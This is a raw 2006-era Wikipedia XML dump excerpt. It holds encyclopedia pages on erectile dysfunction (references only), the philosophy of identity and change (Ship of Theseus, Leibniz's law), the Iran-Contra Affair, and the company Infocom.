* Cheitlin MD, Hutter AM Jr, Brindis RG, Ganz P, Kaul S, Russell RO Jr, Zusman RM. ''ACC/AHA expert consensus document. Use of sildenafil (Viagra) in patients with cardiovascular disease. American College of Cardiology/American Heart Association.'' J Am Coll Cardiol. 1999 Jan;33(1):273-82. [http://www.acc.org/clinical/consensus/viagra.htm Fulltext]. PMID 9935041.

==External sources==
&lt;!-- BEFORE inserting new links here you should first post it to the talk page, otherwise your edit is likely to be reverted--&gt;
*[http://www.fda.gov/cder/consumerinfo/druginfo/levitra.htm FDA's Consumer Information]
*[http://www.mediprimer.com/Andrology/impotence/ Erectile Dysfunction Primer]
*[http://health.groups.yahoo.com/group/ssrisex/ Support group for people with permanent impotence or other sexual dysfunction caused by SSRI antidepressants.]
*[http://www.erectionweb.com/ Erection Web] Support group for people with erectile dysfunction and impotence.
*[http://www.mgsglaw.com/enzyte.html Enzyte Company website]
*[http://www.cbsnews.com/stories/2004/09/23/health/webmd/main645232.shtml Enzyte investigation reported on CBS-TV news site]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Sexual and gender identity disorders]]
[[Category:Urology]]
[[Category:Sexual health]]
[[Category:Non-sexuality]]
[[Category:Penis]]

[[da:Impotens]]
[[de:Erektile Dysfunktion]]
[[es:Disfunción eréctil]]
[[fr:Impuissance]]
[[nl:Impotentie]]
[[pl:Impotencja]]
[[pt:Disfunção erétil]]
[[zh:阳痿]]</text>
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  <page>
    <title>Identity and change</title>
    <id>14784</id>
    <revision>
      <id>36191397</id>
      <timestamp>2006-01-22T07:04:08Z</timestamp>
      <contributor>
        <username>ESkog</username>
        <id>88149</id>
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      <comment>[[WP:AWB|AWB assisted]] fix common misspelling</comment>
      <text xml:space="preserve">{{cleanup-date|May 2005}}
&lt;!--The following is a portion of [[Larrys Text]], lecture notes Larry used to teach a class.  Feel free to make this page conform to our NPOV policy--remove first-person arguments, attribute opinions; etc.--&gt;

The relationship between '''identity''' and '''change''' in the [[philosophy|philosophical]] field of [[metaphysics]] seems, at first glance, deceptively simple, and belies the complexity of the issues involved. This article explores &quot;the problem of change and [[identity]]&quot;.

== Change ==
When an object changes, it always changes ''in some particular way''.  A baby grows up, and so changes in respect of size and maturity; a snake sheds its skin, and so changes in respect of its skin. &quot;Change&quot; may therefore be defined as follows:

: An object, ''O'', changes with respect to [[property]], ''P'', if and only if ''O'' has ''P'' at one time, and at a later time, ''O'' does not have ''P''.

That seems to be what it means for a thing to change: it has a property at one time, and later it does not have that property.  If a banana becomes brown, it can then be said: at one time, the banana is yellow; several days later, the banana is not yellow, but is instead brown.  This appears fairly straightforward at this point, and there are no apparent problems as yet.

== Problem of change ==
The question then arises as to what sort of change happens after a thing is ''destroyed''? When a person dies, one does not say that the person's life has ''changed''. Neither does one go around saying, &quot;Harry just isn't the same sort of guy after he died.&quot;  Instead, one says that Harry's life has ''ended''. Similarly, when a building is demolished, one does not say that the building 'changes'; one says that it is ''destroyed''.  So what sort of events, on the one hand, result in a mere change, and what sort of events, on the other hand, result in a thing's destruction &amp;mdash; in the end of its [[existence]]?  This is one aspect of the problem that will be considered here. It is called &quot;the problem of change and identity&quot;.

=== The Ship of Theseus===
The &quot;problem of change and identity&quot; is generally explained with the story of the [[Ship of Theseus]]:
: In ancient times, there was a ship, called the &quot;Theseus&quot;. As the years wore on, the Theseus started getting weak and creaky. The old boards were removed, put into a [[warehouse]], and replaced with new ones. Then, the [[mast (sailing)|mast]]s started tottering, and soon they, too, were warehoused and replaced. And in this way, after fifty years, this ship now has all new boards, masts, and everything.  The question then arises: Is the ship in the harbor, now called ''S2'', the same ship as the ship that was in the harbor, fifty years ago (called ''S1'', for convenience)?  In other words, is ''S2'' really the &quot;Theseus&quot;?

There is one answer which is a little too easy and quick. One might say: &quot;No, of course not. The Theseus has changed a lot, so it's not the same ship. At the end of your life, you're not going to be the same person as you were, when you were a teenager. You're going to change a lot in the meantime.&quot;  However, this is not quite answering the intended question. What is intended by the question is the sense of the word, &quot;same&quot;, in which an old woman is the ''same'' person at the end of her life as she is, at the beginning of her life. Certainly, the word, &quot;same&quot;, has such a sense.  After all, one implicitly depends on it when one says, for example, &quot;She has changed a lot&quot;. In order for someone to change a lot, there has to be ''one person'' who underwent the change. (One could perhaps reject that sense, saying that objects ''do not'' change over time.)

Going back to the definition of &quot;change&quot;, an object changes with respect to a property if the object has that property at one time, and at a later time, the object does not have the property.  What changes is the fact that ''the object has a particular property''. The only way that that fact ''can'' change is if the object remains in existence.  One can therefore think of a continuing object as the ''ground'' of change, or the arena where change occurs, as it were.  To get back to the Theseus, the question is: Has the Theseus merely changed ''a lot'', or is the Theseus gone, being replaced by a new ship?

One may say, &quot;Sure, it's just a refurbished Theseus, greatly changed to be sure, but still the Theseus&quot;. If one thinks in this manner, then consider what happens when the story is extended further. Suppose someone buys all the planks, masts and whatever that is stored in the warehouse, and out of all of those materials, and absolutely no others, he builds a ship according to the same plans that were used to build the ship, christened &quot;the Theseus&quot;.  And this ship, called ''S3'', is launched and sits on the other side of the harbor where ''S2'' is.  Is ''S3'' the same as ''S1''? In other words, is this recently-constructed ship, the same ship as the ship originally called the &quot;Theseus&quot;, considering that ''S3'' was built out of the ''same materials'', and according to the ''same plans'' as ''S1''.

One could take this concept even further by not only the properties  but also it's subject matter of the &quot;ship&quot;. What if instead the warehoused planks, masts, and other materials were used to build something completely different from a ship, like a house. The same materials and supplies are being used; yet they have taken on a new form. This relates to the concept of recreation vs. destruction.

Inevitably, the problem arises: How can one ever say that both ''S2'' ''and'' ''S3'' are the same ship as ''S1'', the original Theseus? This is because if they were both the same as ''S1'', then they would have to be the same as each other.  This follows from [[Transitive relation|transitivity]], which states that if ''x'' = ''y'' and ''x'' = ''z'', then ''y'' = ''z''.  With ''S2'' and ''S3'' being clearly different ships, sitting on opposite sides of the harbor, three choices present themselves: 
* ''S2'' is the same ship as ''S1''; 
* ''S3'' is the same ship as ''S1''; or 
* ''neither'' is the same ship as ''S1'', and ''S1'' has ceased to exist.  

How does one then decide which is the correct answer in this case? It is difficult to tell. Whenever one makes an identity claim (i.e. a claim which states that two things are the same), one almost always use ''two different descriptions''. Sometimes, one may say, &quot;''x'' = ''x''&quot;, like &quot;I am myself&quot;, but such claims are not particularly interesting or informative. The interesting identity claims are claims where two different descriptions are used for one and the same thing. As an example, take these two descriptions: &quot;the [[Morning Star]]&quot;, and &quot;the [[Evening Star]]&quot;. Sometimes, one can look in the sky just before dawn, and see a very bright point of light &amp;mdash; that has been called &quot;the Morning Star&quot;.  And then also, one can look in the sky just after sunset, and see a very similar point &amp;mdash; that has been called &quot;the Evening Star&quot;. The Morning Star is, in fact, identical to the Evening Star &amp;mdash; both are the [[planet]], [[planet Venus|Venus]]. As such, they are &quot;two&quot; things, only in description, but in actuality, are one and the same thing under two different descriptions.

It is a similar case with ''S1'', ''S2'', and ''S3'', those being three different abbreviations, standing for the following descriptions:
* &quot;''S1''&quot;, referring to the ship which sat in the harbor fifty years ago, newly christened &quot;the Theseus&quot;;
* &quot;''S2''&quot;, referring to the ship which sits in the harbor now, with the new planks; and
* &quot;''S3''&quot;, referring to the ship which sits in the harbor, recently constructed out of the old planks.  
When one, therefore, ask a question like, &quot;Is ''S2'' the same as ''S1''?&quot;, one can be understood to mean this: &quot;Is the ship which sits in the harbor now, with the new planks, ''the same ship'' as the ship which sat in the harbor fifty years ago, newly christened &quot;the Theseus&quot;?&quot;  Do those two descriptions refer to the same thing, or do they not?

Philosophers are not interested in the &quot;Ship of Theseus&quot; problem ''per se'', but to a more basic problem which is this: How does one decide that ''X'' is the same as ''Y'', where ''X'' describes something at one time, and ''Y'' describes another thing at a later time? This is called the &quot;problem of identity over time&quot;, or alternatively, the &quot;problem of change&quot;.

== Leibniz's solution ==
The German philosopher, [[Gottfried Leibniz]], came up with what is now called [[Leibniz's law]] (see [[Identity of indiscernibles]]) that may have some bearing on the question. Leibniz's law states:

: ''X'' is the same as ''Y'' if, and only if, ''X'' and ''Y'' have all the same properties and relations; thus, whatever is true of ''X'' is also true of ''Y'', and vice-versa.

Applying Leibniz's Law to the Ship of Theseus problem, ''S2'' is the same as ''S1'' if, and only if, ''S2'' and ''S1'' have all the same properties and relations.  ''Does'' the ship now in the harbor have all the same properties and relations as the ship that was in the harbor fifty years ago?  One might be tempted to say, &quot;Clearly not! They have ''lots'' of different properties.  So they can't be the same ship.&quot;  Does that sound convincing?  To answer this question, let us consider the property, &quot;contains mast #1&quot;.  Mast #1 is one of the masts that the original Ship of Theseus had. ''S1'' definitely had this property, but ''S2'' is not so equipped, but has mast #2, instead. It follows that ''S2'' must therefore be different from ''S1''.

Many philosophers strongly oppose this view. For if this argument works, then ''any'' property that has changed from the last time we looked at a thing would mean that the thing does not exist anymore, and there is a new thing in its place.  Every little change in every little property would mean the whole thing is destroyed. Suppose we look at ''S1'' just a couple of years after it was built.  If just one plank has been replaced, will we say that the ship is a different ship?  Many philosophers would say surely not, as would common sense.  But the ship that is floating on the ocean for a couple of years ''does'' have different properties from the original.  Leibniz's Law would have us say that it is a different ship.  One might see all this and conclude, &quot;Well, Leibniz's Law must not be a law at all, but a false claim!  ''X'' and ''Y'' do not need to have all the same properties to be the same thing.&quot; 

Leibniz's Law ''can'' be saved, by saying: Properties are to be described as occurring at particular times, i.e. they are ''indexed to times''.  A property that is described as at a particular time is said to be &quot;temporally-indexed&quot;.  For example, we can say that ''S1'' has mast #1 ''in 600 BC''.  If we say what time the ship has the mast, then we have indexed the property of having the mast to that time.  We say the ship ''has'' the mast then, using the word, &quot;has&quot;, tenselessly.  That means we do not say that it, ''at present'', has the mast, but rather, we say it &quot;has&quot; the mast in 600 BC. We are not claiming that the ship has the mast at any ''other'' time; just at ''that'' time. But if it were a later time, say 550 BC, ''that very same ship'' could &quot;have&quot; mast #1 ''in 600 BC'', considering that we are talking about a tenseless &quot;have&quot;. That is, it always has the same properties, but the properties are of the form ''P''-at-''T''.  This gives us a way to save Leibniz's Law from the objection we gave, but at the same time, brings up the issue of whether ''change'' really occurs. After all, we defined &quot;change&quot; as something having one property at one time, and not at some later time. By this solution though, any given object always has all the properties throughout time, and the properties are merely temporally-specific.

Putting this in plain English, ''S1'' ''now'' has the property that it ''will'' have mast #2; and S2 ''now'' has the property that it ''did'' have mast #1.  We can then say that ''S1'' and ''S2'' have all the same ''[[temporal]]ly-[[index]]ed [[properties]]''. According to Leibniz's Law, therefore, they would be the same ship.

One might also say, through the same sorts of [[contortion]]s that ''S1'' and ''S3'' ''might'' have the same temporally-indexed properties. It then follows from Leibniz's Law that ''they instead'' would be the same ship.

Can Leibniz's Law help us decide whether it is ''S2'' or ''S3'' that is the same as the original Theseus?  Perhaps not by itself.  Leibniz's Law says that some ships are the same, just in case, they have all the same properties and relations &amp;mdash; or, rather, the same ''temporally-indexed'' properties and relations.  How then is one to decide that they have all the same temporally-indexed properties and relations?  Leibniz's Law seems to offer little or no help when it comes to that decision.

== Pragmatic solution ==
One popular solution to the problem of the Ship of Theseus is to say that the meaning of &quot;same&quot; depends on what purpose the word is being used for. If, supposing it turns out that the original Ship of Theseus, ''S1'', was actually stolen property, and the rightful owner demands its return, should the police give him ''S2'' or ''S3''?  Instead of figuring out which ship, if either, is the &quot;same&quot;, and then declaring that it should be returned, the pragmatic solution is to figure out which ship should be returned, and then declare that it is the &quot;same&quot;. The current owner of ''S2'' could argue that the original owner did not pay for any of the labor or materials of ''S2'', but did provide at least the materials for ''S3''.  Thus, the original owner should not be entitled to ''S2'', but rather, some or all of ''S3''.  For the purpose of [[legal entitlement]], therefore, part or all of ''S3'' is the same as ''S1''.

Now, let us say that the purpose is not legal entitlement, but rather, the following situation:  The [[admiral]] of the fleet believes that [[captain]]s and [[crew]]s who have fought alongside each other are more effective than captains and crews who are strangers to each other.  The admiral then declares that captains must serve at least one year on the same ship.  One day, Captain Hercules takes command of the Theseus, and then transfers 18 months later.  During this time, the ship's materials are completely replaced as in the previous example, but the crew stays the same.  Is ''S2'' = ''S1'', ''S3'' = ''S1'', both, or neither?  For the admiral's purpose, ''S2'' = ''S1'' because ''S2'' has the same crew as ''S1'', and Captain Hercules has thus fulfilled the admiral's objective.

Thus, whether ''S2'', ''S3'', both, or neither is the same ship as ''S1'' is a matter of convention and what purposes we have for considering things to be the same or different.  Two objects may be considered the same for one purpose, and yet different for another.  Is a watch, received as a gift, still the same after it hits the chain saw? For the purpose of returning it, no.  But it will always have that same [[sentimental value]].  See [[pragmatism]].

== Identity and change in conscious beings ==
Let us briefly consider the problem of [[personal identity]]. Basically, the problem is the problem of change as applied to ''people''. The [[molecule]]s that make up each individual change almost completely over a period of years. Usually, there is no trouble in saying that a little girl in 1920, for example, is the same as an old woman in 1998, even though they share a relatively small number of molecules in common. The same person is just described in two different ways, first as a little girl, and second, as an old woman. In fact, we are confident enough of our ability to reidentify people over time that we are given [[Social Security number]]s that are supposed to last us from when we get them until we die many years later. The question is exactly why we call the old woman in 1998 ''the same person'' as that little girl in 1920.

But thought experiments can reveal problems with our intuitions about personal identity.  Aune gives a typical sort of example of such a case, and one which is perhaps more accessible that those involving teleportation or mind transplants.  Aune's case goes something like this:  Someone is out flying and crashes his plane.  The doctors think he is a very important person. Armed with some new-fangled [[bionics|bionics technology]], they reconstruct him.  All that remains of the original pilot is the top of his head.  The reconstruction is a success; the top of the pilot's head continues to function, with a totally new body.  The question then is: Is this newly-constructed human being ''the same human being'' as the original pilot?

Since we rarely encounter cases that are as difficult to deal with as this, it is not surprising that we are not quite sure what to say about them.  These thought experiments seem to many to land us in the grey area between the subject being or not being the same person.  These are cases in which our ordinary concept is just not clear enough to let us decide whether the concept does or does not apply. Thus, in the case of the reconstructed pilot, it may be that our notion of &quot;being the same human being&quot; is just not clear enough to let us rule definitively that the reconstructed human being ''is'', or ''is not'', the same as the original pilot.

The same can be said of the Ship of Theseus. Our concept of &quot;being the same ship&quot; is perhaps just not clear enough to let us rule definitively that ''S2'' is the same as ''S1''; thus, if we find it convenient, we might just arbitrarily say that they are the same ship.

== The ship of Theseus problem: a non-receivable question ==
The Ship of Theseus problem is a question that is not receivable because of the mismatch between the [[domain]] of the question and the domain of the subject matter it is applied to. Let us review the three main knowledge domains of concern here:
* ''A'', the real [[ontology|ontological]] [[universe]] that exists and happens by itself; 
* ''B'', our [[reality]] or how we experience the real universe, ''A''; and
* ''C'', or our [[scientific analysis]] of our reality, ''B''. 
The distinction between ''B'' and ''C'' is demonstrated in the following example: In the evening, one can go out and see at the same moment the sun setting, the moon and a few stars; this is our reality or ''B''. In the scientific domain ''C'', however, the analysis of ''B'' reveals that the stars are millions of years away, the sun is eight minutes away, and the moon is about half a second away. Since one cannot logically consider these subjects to be both &quot;at the same moment&quot; and &quot;away in time&quot;, an exclusive choice has to be made that defines these two separate domains, ''B'' and ''C''. Our reality or domain ''B'' is created by the complex, but consistent transformation of ''A'' by our biological and mental makeup. Therefore, domain ''B'', or our reality, is internally logical. The scientific knowledge, or domain ''C'', is created by the application of a consistent [[methodology]] of analysis of our reality, ''B''. Therefore, the scientific domain is internally logical. Domains ''B'' and ''C'' each have their own internal logic, derived from a consistent approach respecting both [[process]]es and subject matter. Using the questions or processes of one domain on the subject matter of another domain will logically produce puzzles, [[paradox]]es, and inconsistencies. The Ship of Theseus problem is an example of such an inconsistency created by the use of the question of identity proper to the ontology of domain ''A'', applied to the subject matter of domain ''B'', our reality. The question about the identity of the Ship of Theseus is simply not receivable and comes from the poor practice of not respecting the proper correspondence of the question domain to the subject matter domain. The problem of identity is an ontological problem, and should therefore be applied to the (metaphysical) subject matter of domain ''A'', the real universe.

==Update==
* The sentence, &quot;S1 ''now'' has the property that it ''will'' have mast #2 contains in itself the assumption that S1 ''now'', and S1 ''later'', are the very same ship. It is a little like trying to prove [[theorem]] A using theorem A, is it not?
* An example, very similar to the &quot;pilot&quot; example, but perhaps more realistic is: It is said that all the particles ([[atom]]s) that form a human body change during a period of seven years (although this is not actually so). This means that seven years ago, almost all our atoms were not the same as those of our current body. Does this mean that we are not the same (identical) person as we were, seven years ago?
:Having observed this, an allowance for accumulated [[phenomenological]] [[experience]] attached to identity also defines that identity is independent of change.
* Another example are the [[teleporter]]s in &quot;[[Star Trek]]&quot;, or in just about any other science fiction media for that matter, which either deconstruct and reconstruct the constituent molecules of the person being teleported, or replicate them in the exact order at the receiving end. In the first mechanism, even though the product is identical, the teleportee is still being destroyed, at least temporarily. In the second the eerie sense of separation is stronger. Not only is the teleportee completely destroyed, but nothing of him or her is actually transported, a copy simply being made.

[[Category:Metaphysics]]</text>
    </revision>
  </page>
  <page>
    <title>Ishmael by Daniel Quinn</title>
    <id>14786</id>
    <revision>
      <id>15912319</id>
      <timestamp>2003-05-07T05:49:22Z</timestamp>
      <contributor>
        <username>Paul A</username>
        <id>7104</id>
      </contributor>
      <minor />
      <comment>correct redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ishmael (novel)]]</text>
    </revision>
  </page>
  <page>
    <title>Iran-Contra Affair</title>
    <id>14787</id>
    <revision>
      <id>42144754</id>
      <timestamp>2006-03-04T02:52:35Z</timestamp>
      <contributor>
        <ip>66.77.124.61</ip>
      </contributor>
      <comment>sp</comment>
      <text xml:space="preserve">The '''Iran-Contra Affair''' (also known as  '''&quot;Irangate&quot;''') was a mid-[[1980s]] political scandal in the United States. [[US President|President]] [[Ronald Reagan]]'s administration sold [[arms trade|arms]] to [[Iran]], an avowed enemy. At the time, Americans were being held hostage in [[Lebanon]] by [[Hezbollah]], a [[militant]] [[Shi'a Islam|Shi'a]] organization loyal to [[Ruhollah Khomeini|Ayatollah Khomeini]]. 

==The Plan==
The Reagan Administraiton calculated that by selling arms to [[Iran]], that nation would influence the [[Hezbollah]] [[kidnap]]pers in [[Lebanon]] to release their hostages. Iran was in the midst of the [[Iran-Iraq War]] and could find few nations willing to supply it with weapons. 

However, the arms shipments began before the first hostage was taken, and ended a long time after the last hostage was released.{{Fact}} 

Selling these arms generated large amounts of [[cash]]. Since [[Congress of the United States|Congress]] had not authorized this activity, disposing of the cash led the the second half of the plan. 

In January of [[1986]], the administration approved a plan proposed by [[Robert McFarlane]] employee [[Michael Ledeen]], whereby an intermediary would sell arms to Iran in exchange for the release of the hostages, with proceeds made available to the Contras. At first, the Iranians had refused the weapons from [[Manucher Ghorbanifar]], the Iranian intermediary, when both [[Oliver North]] and Ghorbanifar created a 370% markup (WALSH, Lawrence E. &quot;Firewall&quot;). The arms were eventually sold - in February, 1000 TOW (Tube-launched, Optically tracked, Wire-guided) [[missile|missles]] were shipped to [[Iran]]. From May to November 1986, there were additional shipments of miscellaneous weapons and parts. 

The U.S. diverted these proceeds to the [[Contras]], right wing [[guerrillas]] engaged in an [[insurgency]] against the [[socialist]] [[Sandinista National Liberation Front|Sandinista]] government of [[Nicaragua]]. 

Both the sale of weapons to [[Iran]] and the funding of the [[Contras]] violated stated administration policy and legislation passed by the [[Congress of the United States|Congress]].

[[Hezbollah]] proceeded to take more [[hostages]] after they had released old ones, and failing to produce any meaningful results, the arms-for-hostages program was cancelled later that same year.

==Funding the Contras==
The Reagan administration had been providing covert assistance to the [[Contras]] since November [[1981]], out of a conviction that all of [[Latin America]] was in great peril due to the actions of [[populist]] local political movements.

The [[1982]] [[Boland Amendment]] blocked further military aid when it was discovered that the [[Central Intelligence Agency|CIA]] had supervised acts of sabotage and ''de facto'' terrorism in [[Nicaragua]] without notifying Congress. 

The amendment, effective December [[1983]] to September [[1985]], prohibited the CIA, [[United States Department of Defense|Defense Department]] and any other government agency from providing any further covert military assistance. 

The Reagan administration circumvented this ban by using the [[United States National Security Council|National Security Council]], which was not explicitly covered by the law, to supervise covert support. The NSC proceeded to raise private and foreign funds for the Contras. In addition, proceeds from the arms sales to Iran were used to purchase arms for the Contras in an arrangement instituted by Colonel [[Oliver North]], aide to [[United States National Security Advisor|National Security Advisor]] [[John Poindexter]].

==Discovery and scandal==
While not accomplishing the intended purpose of releasing the [[hostages]] in [[Lebanon]], the aborted deal caused political strife in the [[United States]] when the details became public knowledge.

The [[Lebanon | Lebanese]] magazine ''[[Ash-Shiraa]]'' exposed the arrangement on [[3 November]] [[1986]]. This was the first public reporting of the weapons-for-hostages deal. The operation was discovered only after an [[Eugene Hasenfus|airlift of guns was downed over Nicaragua]].  The scandal was compounded when on [[November 21]], [[Oliver North]] and his secretary [[Fawn Hall]] shredded pertinent documents. [[United States Attorney General|US Attorney General]] [[Edwin Meese]] on [[November 25]] admitted that profits from weapons sales to Iran were made available to assist the Contra rebels in [[Nicaragua]]. 

On [[November 26]] President Reagan, faced with mounting pressure from Congressional Democrats and the media, announced that as of [[December 1]] former Senator [[John Tower]], former Secretary of State [[Edmund Muskie]], and former National Security Adviser [[Brent Scowcroft]] would serve as members of a Special Review Board looking into the matter; this [[Presidential Commission (United States)|Presidential Commission]] became known as the [[Tower Commission]]. At this point, President Reagan said he had not been informed of the operation.  The Tower Commission implicated North, Poindexter, and Weinberger amongst others. It did not determine that the President had knowledge, although it argued that the President ought to have had better control of the National Security Council staff.

The [[Congress of the United States|U.S. Congress]] issued its final report on [[18 November]], [[1987]], which stated that the President bore &quot;ultimate responsibility&quot; for wrongdoing by his aides and his administration exhibited &quot;secrecy, deception and disdain for the law.&quot; [[Oliver North]] and [[John Poindexter]] were [[indicted]] on multiple charges on [[March 16]], [[1988]]. 

North, indicted on nine counts, was initially convicted of three minor counts, although the conviction was later vacated upon appeal on the grounds that North's [[Fifth Amendment to the United States Constitution|Fifth Amendment]] rights may have been violated.  The violation was said to be the indirect use of his testimony to Congress which had been given under a grant of immunity. Poindexter was convicted on several [[felony]] counts of lying to Congress, obstruction of justice, conspiracy, and altering and destroying documents pertinent to the investigation. His convictions were also overturned on appeal on similar grounds as North's. The [[Independent Counsel]] chose not to re-try North or Poindexter.

==Public Admission==
Faced with [[undeniable]] [[evidence]] of his involvement in the scandal, Reagan expressed regret regarding the situation on national television.  In his speech, Reagan stated that his previous assertions that the US did not trade arms for hostages were incorrect. However, he added that believed what he did was right, and understood how the American people might not think the same way. Reagan survived the scandal, and would see his approval ratings return to previous levels.

==Contra-drug links==
Sen. [[John Kerry]]'s [[1988]] [[U.S. Senate Committee on Foreign Relations]] report on Contra-drug links concluded that &quot;senior U.S. policy makers were not immune to the idea that drug money was a perfect solution to the Contras' funding problems.&quot; [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB113/index.htm] Kerry was suspicious of North's connection with Manuel Noriega. According to the [[National Security Archive]], [[Oliver North]] had been in contact with [[Manuel Noriega]], [[Panama]]'s drug-baron, whom he personally met.

In [[August]] of [[1996]], the ''[[San Jose Mercury News]]'' published [[Gary Webb]]'s &quot;Dark Alliance&quot;, a 20,000 word, three-part investigative series which alleged that Nicaraguan drug traffickers had sold and distributed [[crack]] cocaine in [[Los Angeles]] during the 1980s, and that drug profits were used to fund the CIA-supported Nicaraguan [[Contras]]. Webb never asserted that the [[CIA]] directly aided drug dealers to raise money for the Contras, but he did imply that the CIA were aware of the transactions (Webb's 1999 book, ''Dark Alliance'', substantiated these allegations with copious references). 

On December 10, 2004, [[Gary Webb]] was found dead. While acknowledging that the two fatal shots that had entered through the back of his head was unusual, [[coroner]] Robert Lyons determined that it was [[suicide]]. It subsequently became known that Webb had been suffering from [[clinical depression]] for many years, though this information was ascertained only after the fact.

==Significance: The separation of powers==
The Iran-Contra Affair is significant because it brought many questions into public view that continue to resonate today:
*Does the President have unconditional authority to conduct [[foreign policy]] over the objection [[Congress of the United States|Congress]] and the [[law|laws]] it passes
*Can the [[President]] approve selling arms to a foreign nation without [[Congress of the United States|congressional]] approval
*What information does the President have to provide to [[Congress of the United States|Congress]] and when should that information be supplied
*What information does the Pesident have to provide the [[American people]]
*Can the President present factually incorrect information to the [[American people]] about key foreign policy initiatives if he believes his motives are just
*What authority does the [[Congress of the United States|Congress]] have to oversee functions of the executive branch
*Does funding for foreign policy initiatives have to be approved by the [[Congress of the United States|Congress]]
*Who defines the entire spending budget and who regulates it
*Is the provision of the [[Ethics in Government Act of 1978|1978 Ethics in Government Act]] that creates the position of independent counsel answering to the Attorney General, constitutional
*What role does the [[Supreme Court of the United States|Supreme Court]] have in deciding conflicts between the [[legislative branch]] and [[executive branch]]
*How much support is America entitled to provide to armed opposition forces seeking to replace governments with ones more sympathetic to the United States

Most, if not all, of the constitutional and ethical questions are still unresolved. On one view, it appears that if the legislative and executive branches do not wish to work together, there are no legal remedies. 

These unresolved issues were again in the public eye during the Presidency of [[George W. Bush]], who selected some individuals implicated in the Iran-Contra scandal for high-level posts. These include:
*[[Elliott Abrams]] (under Bush the Special Assistant to the President and Senior Director on the National Security Council for Near East and North African Affairs; in Iran Contra, found guilty on two counts of unlawfully withholding information) 
*[[Otto Reich]]
*[[John Negroponte]]
*Admiral [[John Poindexter]]  (under Bush Director of the [[Information Awareness Office#Public criticism of the Information Awareness Office|Information Awareness Office]]; in Iran Contra found guilty  of multiple [[felony]] counts for [[conspiracy]], [[obstruction of justice]], lying to Congress, defrauding the government, and the alteration and destruction of evidence)

&lt;!-- There's more to add here, particularly on the political impact of the matter on Reagan's presidency. --&gt;

== See also ==
*[[Gary Webb]]
*Swedish Prime Minister [[Olof Palme]]'s 1986 murder
*&quot;Landslide: The Unmaking of the President 1984-1988&quot; by Doyle McManus and Jane Mayer - a carefully documented narrative of one aspect of the second presidential term of Ronald Reagan.  Primarily includes a painstakingly detailed history of the Iran-Contra Scandal.
*[[Nicaragua v. United States]], indictment by the [[International Court of Justice]]

== External links ==
* [http://www.bartleby.com/65/ir/Irancont.html Condensed article outlining Iran-Contra]
* [http://www.fas.org/irp/offdocs/walsh/ Final Report of the Independent Counsel for Iran/Contra Matters]
* [http://www.hirhome.com/iraniraq/gulfwar.htm Why Bush Sr.'s 1991 Gulf War? To Protect Iranian Islamism] ''[[Historical and Investigative Research]]'' 2005 Francisco Gil-White.
* [http://www.jewishvirtuallibrary.org/jsource/US-Israel/Iran_Contra_Affair.html Analysis of Israeli involvement in the affair]
* [http://www.inthe80s.com/scandal.shtml Iran-Contra timeline]
* [http://hometown.aol.co.uk/lismore1/Lebanon.html American hostages timeline]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB55/nsdd138.pdf Extract of NSDD-138 (PDF)] [[National Security Archive]]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB55/nsdd207.pdf NSDD-207 (PDF)]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB113/index.htm]


[[Category:American political scandals]]
[[Category:Anti-communism]]
[[Category:Cold War]]
[[Category:History of foreign relations of the United States]]
[[Category:History of Iran]]
[[Category:History of Nicaragua]]

[[de:Iran-Contra-Affäre]]
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[[he:פרשת איראן-קונטראס]]
[[id:Skandal Iran Contra]]
[[ja:イラン・コントラ事件]]
[[nl:Iran-contra-affaire]]
[[no:Iran-Contras-skandalen]]
[[sv:Iran-contras-affären]]
[[zh:伊朗门事件]]</text>
    </revision>
  </page>
  <page>
    <title>Infocom</title>
    <id>14788</id>
    <revision>
      <id>38673843</id>
      <timestamp>2006-02-07T22:14:41Z</timestamp>
      <contributor>
        <ip>204.113.19.8</ip>
      </contributor>
      <comment>/* Overview */</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Infocom |
  company_logo   = [[Image:Infocom logo.png]] |
  company_type   = [[Privately-held|Private]] (defunct) |
  company_slogan = ''This space intentionally left blank.'' |
  industry       = Entertainment/Business software |
  foundation     = [[Massachusetts Institute of Technology|MIT]] ([[1979]]) |
  location       = [[Cambridge, Massachusetts|Cambridge]], [[Massachusetts]] |
  key_people     = [[Dave Lebling]]&lt;br /&gt;[[Marc Blank]]&lt;br /&gt;[[Al Vezza]]&lt;br /&gt;[[Joel Berez]] |
  num_employees  = N/A |
  products       = ''[[Zork]]'' series&lt;br /&gt;[[Enchanter (computer game)|''Enchanter'']] trilogy&lt;br /&gt;''[[Cornerstone (software)|Cornerstone]]''&lt;br /&gt;[[Z-machine]]&lt;br /&gt;[[#Titles &amp; authors|See products listing.]] |
  revenue        = N/A |
  homepage       = None
}}

{{Zork_universe}}

'''Infocom''' was an [[United States|American]] [[software company]], based in [[Cambridge, Massachusetts]], that produced numerous works of [[interactive fiction]], known as [[text adventure]] [[computer game]]s. They also produced one notable business application, a [[relational database]] called ''[[Cornerstone (software)|Cornerstone]]''. Infocom was founded on [[June 22]] [[1979]] by [[Massachusetts Institute of Technology|MIT]] staff and students led by [[Dave Lebling]], [[Marc Blank]], [[Al Vezza]], and [[Joel Berez]] and lasted as an independent company until [[1986]] when it was bought by [[Activision]]. Activision finally shut down the Infocom division in [[1989]], although they released some titles in the [[1990s]] under the Infocom ''[[Zork]]'' brand.

==Overview==
Infocom was well-known among game-players for the [[parser]] used in its witty, ambitious text adventures, which allowed the user to type complex instructions to the game.  Unlike earlier works of interactive fiction, which only understood commands of the form 'verb noun' (e.g. &quot;get apple&quot;), Infocom's parser could understand commands like &quot;get all apples except the green apple from the barrel.&quot;  Infocom games were written using a programming language called ''ZIL'' (Zork Implementation Language or Zork Interactive Language--it was referred to as both)
that ran on a standardized [[virtual machine]] called the [[Z-machine]].  As the games were text based and used variants of the same Z-machine interpreter, Infocom was able to release most of their games for most popular [[home computer]]s of the day simultaneously&amp;mdash;the [[Apple II family]], [[Atari 8-bit family|Atari 800]], [[IBM PC compatible]]s, [[Commodore 64]], [[Commodore 128]]&amp;sup1;, [[Texas Instruments TI-99/4A]], [[Apple Macintosh|the Mac]], [[Atari ST]], and the [[Amiga|Commodore Amiga]].  The company was also known for shipping creative props, or &quot;[[feelies]]&quot; (and even &quot;smellies&quot;), with its games.
